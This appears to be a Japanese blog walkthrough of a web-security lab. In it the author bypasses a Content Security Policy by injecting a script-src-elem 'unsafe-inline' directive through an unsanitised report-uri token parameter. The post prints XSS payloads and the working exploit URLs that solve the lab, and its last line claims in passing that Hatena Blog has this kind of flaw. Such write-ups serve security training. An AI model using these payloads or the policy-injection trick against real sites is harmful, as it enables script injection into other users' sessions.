Shikata Ga Nai

Private? There is no such things.

Reflected XSS protected by CSP, with CSP bypassをやってみた

Hello there, ('ω')ノ

 

CSPバイパスを使用してCSPで保護された反射型XSSを。

このラボでは、CSPを使用しているとのことで。

 

コンテンツセキュリティポリシー (CSP) は。

クロスサイトスクリプティング (XSS) などの攻撃を検知して。

影響を軽減するために追加できるセキュリティレイヤーで。

CSPには、適用したいCSPを表すディレクティブから構成される文字列が入って。

 

まずは、Intercept responses based onにチェックをしておいてから。

 

f:id:ThisIsOne:20210325140954p:plain

 

まずは、動作確認を。

 

f:id:ThisIsOne:20210325140620p:plain

 

ペイロードをしかけてみると。

 <img src=1 onerror=alert(1)>

 

f:id:ThisIsOne:20210325140451p:plain

 

攻撃は防御されて。

 

f:id:ThisIsOne:20210325140519p:plain

 

もう一つのタイプのペイロードもダメで。

 "><img src=x onerror=alert(1)>

 

f:id:ThisIsOne:20210325142853p:plain

 

ソースコードを確認して。

 

f:id:ThisIsOne:20210325143113p:plain

 

CSPには、report-uriに報告先へのURLが設定されてて。

 

 Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

 

f:id:ThisIsOne:20210325202946p:plain

 

CSPに設定されているURIをリピータへ。

 

f:id:ThisIsOne:20210325143826p:plain

 

f:id:ThisIsOne:20210325143906p:plain

 

ペイロードをパラメータに追加してSnedすると下記のレスポンスが。

なにも変わらず。

 

 Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

 

f:id:ThisIsOne:20210325144623p:plain

 

一応、リクエストメソッドを適当にXPOSTに変更してみるとCSPに追加されて。

 

 Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token="><img src=x onerror=alert(1)>

 

f:id:ThisIsOne:20210325144657p:plain

 

HTTP の Content-Security-Policy (CSP) の script-src-elem ディレクティブは。

 JavaScript の <script> 要素の有効なソースを指定して。

 

unsafe-inlineは、インライン<script>要素やjavascript:URL。

インラインイベントハンドラ、インライン要素などのインラインリソースを許可して。


<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'


まずはエンコードして。

 

f:id:ThisIsOne:20210325141628p:plain

 

すべてをエンコードしてパラメータとして追加するとうまくいかないので。

 

 https://ac811ff11f62cf22804b1be8001c0006.web-security-academy.net/?search=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%26%74%6f%6b%65%6e%3d%3b%73%63%72%69%70%74%2d%73%72%63%2d%65%6c%65%6d%20%27%75%6e%73%61%66%65%2d%69%6e%6c%69%6e%65%27

 

f:id:ThisIsOne:20210325153806p:plain

 

必要な箇所のみを変更するとクリアできた。

 

 https://ac811ff11f62cf22804b1be8001c0006.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

 

もしくは、

 

 https://ac811ff11f62cf22804b1be8001c0006.web-security-academy.net/?search=<script>alert(1)</script>&token=;script-src-elem%20%27unsafe-inline%27

 

f:id:ThisIsOne:20210325142312p:plain

 

ちなみに追加するパラメータを入力して検索してもうまくはいかず。

結果のURLは、下記のとおりで。

 

 ?search=<script>alert(1)<%2Fscript>%26token%3D%3Bscript-src-elem+'unsafe-inline'

 

f:id:ThisIsOne:20210325151411p:plain

 

さきほどの追加するパラメータ全体をエンコードした際は、&token=はそのままで。

 

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e&token=%3b%73%63%72%69%70%74%2d%73%72%63%2d%65%6c%65%6d%20%27%75%6e%73%61%66%65%2d%69%6e%6c%69%6e%65%27

 

f:id:ThisIsOne:20210325153335p:plain

 

レスポンスボディを見るとCSPに反映されてクリアできた。

 

f:id:ThisIsOne:20210325154126p:plain

 

ちなみにはてなブログのサイトにはこの手の脆弱性があるようで。

 

Best regards, (^^ゞ